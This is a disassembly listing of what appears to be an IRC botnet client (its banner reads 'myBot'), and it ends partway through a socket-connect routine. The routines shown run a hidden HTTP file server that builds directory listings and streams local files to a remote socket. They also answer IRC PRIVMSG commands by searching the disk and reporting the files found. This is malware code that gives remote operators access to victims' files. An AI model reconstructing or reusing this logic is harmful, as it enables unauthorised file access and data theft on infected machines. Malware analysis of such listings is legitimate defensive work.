		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	dword_428114	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_428110	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_9C]
		jnz	short loc_4102D7
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41BEF6
		add	esp, 24h
		jmp	short loc_4102F2
; ---------------------------------------------------------------------------


loc_4102D7:				; CODE XREF: sub_4101F4+CAj
		push	[ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41BEF6
		add	esp, 28h


loc_4102F2:				; CODE XREF: sub_4101F4+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CE358	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_410332
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_410CA0
		pop	ecx
		pop	ecx
		jmp	short loc_41034F
; ---------------------------------------------------------------------------


loc_410332:				; CODE XREF: sub_4101F4+126j
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41061F
		add	esp, 10h


loc_41034F:				; CODE XREF: sub_4101F4+13Cj
		push	[ebp+var_44C]
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_B4]
		call	sub_40B56A
		pop	ecx
		push	edi
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
sub_4101F4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410370	proc near		; CODE XREF: sub_40FDBE+399p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41BC00
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		push	eax
		jz	short loc_4103A6
		push	offset aS_5	; "\\%s"
		jmp	short loc_4103AE
; ---------------------------------------------------------------------------


loc_4103A6:				; CODE XREF: sub_410370+2Dj
		mov	byte ptr [eax],	5Ch
		push	offset aS_2	; "%s"


loc_4103AE:				; CODE XREF: sub_410370+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B650
		test	eax, eax
		pop	ecx
		jbe	short loc_410449
		mov	[ebp+arg_8], 2


loc_4103D9:				; CODE XREF: sub_410370+D7j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B650
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_410419
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_410419
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_410419
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_410419
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_410433
; ---------------------------------------------------------------------------


loc_410419:				; CODE XREF: sub_410370+79j
					; sub_410370+83j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_410429
		push	5Ch
		pop	eax
		jmp	short loc_41042C
; ---------------------------------------------------------------------------


loc_410429:				; CODE XREF: sub_410370+B2j
		movsx	eax, al


loc_41042C:				; CODE XREF: sub_410370+B7j
		mov	[ebp+ebx+var_210], al


loc_410433:				; CODE XREF: sub_410370+A7j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B650
		cmp	esi, eax
		pop	ecx
		jb	short loc_4103D9


loc_410449:				; CODE XREF: sub_410370+60j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_42B478
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_314]
		push	offset asc_42BDD8 ; "\n"
		push	eax
		call	sub_41C764
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_4280A0	; GetFileAttributesA
		xor	esi, esi
		inc	esi
		cmp	eax, 10h
		jz	short loc_410497
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41049A
		push	[ebp+arg_0]
		jmp	short loc_410516
; ---------------------------------------------------------------------------


loc_410497:				; CODE XREF: sub_410370+11Bj
		mov	[ebp+var_4], esi


loc_41049A:				; CODE XREF: sub_410370+120j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_4104A7
		mov	[ebp+var_4], esi


loc_4104A7:				; CODE XREF: sub_410370+132j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_410521
		cmp	[ebp+arg_C], edi
		jz	short loc_410515
		lea	eax, [ebp+var_314]
		push	offset asc_43721C ; "*"
		push	eax
		call	sub_41C530
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_410D5D
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41BEF6
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_410570
; ---------------------------------------------------------------------------


loc_410515:				; CODE XREF: sub_410370+14Ej
		push	ebx


loc_410516:				; CODE XREF: sub_410370+125j
		call	dword_4CE3A0	; closesocket
		jmp	loc_410606
; ---------------------------------------------------------------------------


loc_410521:				; CODE XREF: sub_410370+149j
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_4280F8	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_410570
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41BEF6
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	dword_428118	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_428070	; CloseHandle


loc_410570:				; CODE XREF: sub_410370+1A3j
					; sub_410370+1CEj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_4371D8
		push	eax
		call	sub_41BEF6
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B254
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_44124C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_4101F4
		push	edi
		push	edi
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_44125C[ecx], eax
		jnz	short loc_410615
		push	ebx
		call	dword_4CE3A0	; closesocket
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_437190
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_415F45
		add	esp, 10h


loc_410606:				; CODE XREF: sub_410370+1ACj
					; sub_410370+2ADj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41060D:				; CODE XREF: sub_410370+2ABj
		push	5
		call	dword_428080	; Sleep


loc_410615:				; CODE XREF: sub_410370+266j
		cmp	[ebp+var_318], edi
		jz	short loc_41060D
		jmp	short loc_410606
sub_410370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41061F	proc near		; CODE XREF: sub_401AA1+7555p
					; sub_4101F4+153p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BC00
		mov	edi, [ebp+arg_0]
		push	offset asc_42BDD8 ; "\n"
		push	edi
		call	sub_41C764
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		push	edi
		jz	short loc_41067E
		push	[ebp+arg_8]
		mov	esi, 200h
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41BFF0
		add	esp, 14h
		jmp	loc_41077A
; ---------------------------------------------------------------------------


loc_41067E:				; CODE XREF: sub_41061F+3Bj
		cmp	[ebp+arg_C], ebx
		jz	loc_410760
		call	sub_41B650
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41BFF0
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CE358	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41BFF0
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CE358	; send
		push	edi
		call	sub_41B650
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41BFF0
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CE358	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41BFF0
		add	esp, 0Ch
		jmp	short loc_41077A
; ---------------------------------------------------------------------------


loc_410760:				; CODE XREF: sub_41061F+62j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41BFF0
		add	esp, 10h


loc_41077A:				; CODE XREF: sub_41061F+5Aj
					; sub_41061F+13Fj
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CE358	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_410812
		push	[ebp+arg_C]
		call	sub_41B650
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410812
		push	[ebp+arg_C]
		call	sub_41B650
		sub	eax, 3
		pop	ecx
		jz	short loc_4107C6


loc_4107BA:				; CODE XREF: sub_41061F+1A5j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_4107C6
		dec	eax
		jnz	short loc_4107BA


loc_4107C6:				; CODE XREF: sub_41061F+199j
					; sub_41061F+1A2j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BC60
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41BFF0
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CE358	; send


loc_410812:				; CODE XREF: sub_41061F+17Dj
					; sub_41061F+18Bj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_428128	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_428124	; FindNextFileA
		test	eax, eax
		jz	loc_410C09
		mov	edi, 1FFh


loc_41083E:				; CODE XREF: sub_41061F+5E4j
		cmp	[ebp+var_388], ebx
		jz	loc_410BF1
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410BF1
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410BF1
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	dword_428000	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_428120	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	loc_41093B
		mov	ecx, offset aAm	; "AM"
		movzx	eax, ax


loc_4108BA:				; CODE XREF: sub_41061F+322j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41BEF6
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_410A72
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410946
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41BFF0
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_41BFF0
		add	esp, 28h
		jmp	loc_410BC2
; ---------------------------------------------------------------------------


loc_41093B:				; CODE XREF: sub_41061F+28Dj
		movzx	eax, ax
		sub	eax, 0Ch
		jmp	loc_4108BA
; ---------------------------------------------------------------------------


loc_410946:				; CODE XREF: sub_41061F+2D5j
		cmp	[ebp+arg_C], ebx
		jz	loc_410A30
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41BFF0
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CE358	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_1	; "%s%s/"
		push	edi
		push	eax
		call	sub_41BFF0
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CE358	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B650
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_4109EC
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4109F1
; ---------------------------------------------------------------------------


loc_4109EC:				; CODE XREF: sub_41061F+3C4j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_4109F1:				; CODE XREF: sub_41061F+3CBj
		push	edi
		push	eax
		call	sub_41BFF0
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CE358	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_410BB3
; ---------------------------------------------------------------------------


loc_410A30:				; CODE XREF: sub_41061F+32Aj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41BFF0
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_410A5D:				; CODE XREF: sub_41061F+47Bj
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41BFF0
		add	esp, 24h
		jmp	loc_410BC2
; ---------------------------------------------------------------------------


loc_410A72:				; CODE XREF: sub_41061F+2C9j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410A9C
		push	ebx
		push	[ebp+var_368]
		call	sub_416EC1
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_410A5D
; ---------------------------------------------------------------------------


loc_410A9C:				; CODE XREF: sub_41061F+459j
		cmp	[ebp+arg_C], ebx
		jz	loc_410B9C
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41BFF0
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CE358	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_42B478
		push	edi
		push	eax
		call	sub_41BFF0
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CE358	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B650
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_410B42
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_410B47
; ---------------------------------------------------------------------------


loc_410B42:				; CODE XREF: sub_41061F+51Aj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_410B47:				; CODE XREF: sub_41061F+521j
		push	edi
		push	eax
		call	sub_41BFF0
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CE358	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41BFF0
		add	esp, 1Ch
		jmp	short loc_410BC2
; ---------------------------------------------------------------------------


loc_410B9C:				; CODE XREF: sub_41061F+480j
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_410BB3:				; CODE XREF: sub_41061F+40Cj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41BFF0
		add	esp, 18h


loc_410BC2:				; CODE XREF: sub_41061F+317j
					; sub_41061F+44Ej ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CE358	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_410BF1
		push	7D0h
		call	dword_428080	; Sleep


loc_410BF1:				; CODE XREF: sub_41061F+225j
					; sub_41061F+240j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_428124	; FindNextFileA
		test	eax, eax
		jnz	loc_41083E


loc_410C09:				; CODE XREF: sub_41061F+214j
		push	[ebp+arg_0]
		call	dword_42811C	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_410C4C
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416EC1
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416EC1
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41BEF6
		add	esp, 14h
		jmp	short loc_410C7A
; ---------------------------------------------------------------------------


loc_410C4C:				; CODE XREF: sub_41061F+5F6j
		cmp	[ebp+arg_C], ebx
		lea	eax, [ebp+var_248]
		jz	short loc_410C66
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx
		jmp	short loc_410C7A
; ---------------------------------------------------------------------------


loc_410C66:				; CODE XREF: sub_41061F+636j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41BEF6
		add	esp, 10h


loc_410C7A:				; CODE XREF: sub_41061F+62Bj
					; sub_41061F+645j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CE358	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_41061F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CA0	proc near		; CODE XREF: sub_4101F4+135p

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_4280F8	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410D58
		push	esi
		push	ebx
		call	dword_428118	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410D51


loc_410CE5:				; CODE XREF: sub_410CA0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410D02
		mov	edi, [ebp+arg_4]


loc_410D02:				; CODE XREF: sub_410CA0+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_42812C	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_4280EC	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE358	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410D4C
		call	dword_4CE29C	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_410D51
		xor	eax, eax


loc_410D4C:				; CODE XREF: sub_410CA0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410CE5


loc_410D51:				; CODE XREF: sub_410CA0+43j
					; sub_410CA0+A8j
		push	ebx
		call	dword_428070	; CloseHandle


loc_410D58:				; CODE XREF: sub_410CA0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_410D5D	proc near		; CODE XREF: sub_410370+17Bp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B650
		test	eax, eax
		pop	ecx
		jbe	short loc_410D86


loc_410D70:				; CODE XREF: sub_410D5D+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410D7A
		mov	byte ptr [esi+edi], 2Fh


loc_410D7A:				; CODE XREF: sub_410D5D+17j
		push	edi
		inc	esi
		call	sub_41B650
		cmp	esi, eax
		pop	ecx
		jb	short loc_410D70


loc_410D86:				; CODE XREF: sub_410D5D+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410D5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410D8B	proc near		; CODE XREF: sub_401AA1+51A8p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CE278	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4CE388	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CE308	; ntohs
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A7C5
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CE2B0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410E68
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410E04
		mov	eax, offset byte_4404C4


loc_410E04:				; CODE XREF: sub_410D8B+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
